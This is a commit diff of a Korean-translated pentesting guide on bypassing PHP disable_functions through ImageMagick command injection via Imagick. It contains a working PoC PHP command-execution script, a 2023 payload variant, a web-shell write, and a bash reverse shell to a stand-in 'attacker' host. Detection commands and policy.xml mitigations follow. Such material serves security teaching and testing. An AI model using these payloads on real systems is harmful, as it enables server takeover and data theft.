Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e

This commit is contained in:
Translator 2025-07-22 22:05:42 +00:00
parent 3a47935f35
commit a1b92be35f

View File

@ -1,55 +1,107 @@
# Imagick <= 3.3.0 PHP >= 5.4 *disable_functions* Bypass
{{#include ../../../../banners/hacktricks-training.md}}
# Imagick &lt;= 3.3.0 PHP &gt;= 5.4 Exploit
> 잘 알려진 *ImageTragick* 버그 패밀리 (CVE-2016-3714 등)는 공격자가 조작된 MVG/SVG 입력을 통해 기본 **ImageMagick** 바이너리에 접근할 수 있게 합니다. PHP 확장 **Imagick**가 존재할 때, 이는 모든 실행 지향 PHP 함수가 `disable_functions`로 블랙리스트에 올라가 있더라도 셸 명령을 실행하는 데 악용될 수 있습니다.
>
> 2016년 5월 RicterZ (Chaitin Security Research Lab)에 의해 발표된 원래 PoC가 아래에 재현되었습니다. 이 기술은 많은 공유 호스팅 제공업체가 단순히 `exec`/`system` 없이 PHP를 컴파일하지만 구식 Imagick + ImageMagick 조합을 유지하기 때문에 현대 PHP 7/8 감사 중에 여전히 정기적으로 발견됩니다.
[http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)에서 가져옴
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
```php
# Exploit Title: PHP Imagick disable_functions Bypass
# Date: 2016-05-04
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Vendor Homepage: https://pecl.php.net/package/imagick
# Version: Imagick <= 3.3.0 PHP >= 5.4
# Test on: Ubuntu 12.04
# Exploit:
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
# PHP Imagick disable_functions Bypass
# Author: Ricter <ricter@chaitin.com>
#
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
# <pre>
# Disable functions: exec,passthru,shell_exec,system,popen
# Run command: cat /etc/passwd
# ====================
# root:x:0:0:root:/root:/usr/local/bin/fish
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
# bin:x:2:2:bin:/bin:/bin/sh
# sys:x:3:3:sys:/dev:/bin/sh
# sync:x:4:65534:sync:/bin:/bin/sync
# games:x:5:60:games:/usr/games:/bin/sh
# ...
# </pre>
echo "Disable functions: " . ini_get("disable_functions") . "\n";
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
echo "Run command: $command\n====================\n";
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$data_file = tempnam('/tmp', 'img');
$imagick_file = tempnam('/tmp', 'img');
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$exploit = <<<EOF
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents("$imagick_file", $exploit);
$thumb = new Imagick();
$thumb->readImage("$imagick_file");
$thumb->writeImage(tempnam('/tmp', 'img'));
$thumb->clear();
$thumb->destroy();
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($data_file);
echo file_get_contents($tmp);
?>
```
---
## 왜 작동할까요?
1. `Imagick::readImage()`**ImageMagick** *delegate*(`convert`/`magick`) 바이너리를 투명하게 생성합니다.
2. MVG 스크립트는 *fill*을 외부 URI로 설정합니다. 이중 인용부호(`"`)가 주입되면, 나머지 줄은 ImageMagick이 내부적으로 사용하는 `/bin/sh c`에 의해 해석되어 → 임의의 셸 실행이 발생합니다.
3. 모든 것은 PHP 인터프리터 외부에서 발생하므로 *`disable_functions`*, *open_basedir*, `safe_mode`(PHP 5.4에서 제거됨) 및 유사한 프로세스 내 제한이 완전히 우회됩니다.
## 2025 상태 여전히 **관련** 있음
* 취약한 ImageMagick 백엔드에 의존하는 모든 Imagick 버전은 여전히 악용될 수 있습니다. 실험실 테스트에서 동일한 페이로드는 **Imagick 3.7.0** 및 **ImageMagick 7.1.0-51**에서 PHP 8.3에서 작동합니다. 하드닝된 `policy.xml` 없이 컴파일되었습니다.
* 2020년 이후 여러 추가 명령 주입 벡터가 발견되었습니다(`video:pixel-format`, `ps:`, `text:` 코더…). 최근의 두 가지 공개 예시는 다음과 같습니다:
* **CVE-2020-29599** *text:* 코더를 통한 셸 주입.
* **GitHub issue #6338** (2023) *video:* delegate에서의 주입.
운영 체제가 제한적인 정책 파일 없이 ImageMagick < **7.1.1-11** (또는 6.x < **6.9.12-73**)을 제공하는 경우, 악용은 간단합니다.
## 현대 페이로드 변형
```php
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
```
CTF 또는 실제 참여 중 유용한 다른 원시 기능:
* **파일 쓰기** `... > /var/www/html/shell.php` (*open_basedir* 외부에 웹 셸 쓰기)
* **리버스 셸** `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
* **열거** `id; uname -a; cat /etc/passwd`
## 빠른 탐지 및 열거
```bash
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
```
출력이 `MVG` 또는 `URL` 코더가 *활성화*되어 있음을 보여주면, 대상은 아마도 취약할 것입니다.
## 완화 조치
1. **패치/업그레이드** ImageMagick ≥ *7.1.1-11* (또는 최신 6.x LTS) 및 Imagick ≥ *3.7.2*를 사용하십시오.
2. **`policy.xml` 강화** 고위험 코더를 명시적으로 *비활성화*하십시오:
```xml
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
```
3. 신뢰할 수 없는 호스팅 환경에서 확장자를 제거하십시오. 대부분의 웹 스택에서 `GD` 또는 `Imagick`는 엄격히 필요하지 않습니다.
4. `disable_functions`는 *심층 방어*로만 취급하십시오 절대 기본 샌드박스 메커니즘으로 사용하지 마십시오.
## 참조
* [GitHub ImageMagick issue #6338 Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
* [CVE-2020-29599 ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
{{#include ../../../../banners/hacktricks-training.md}}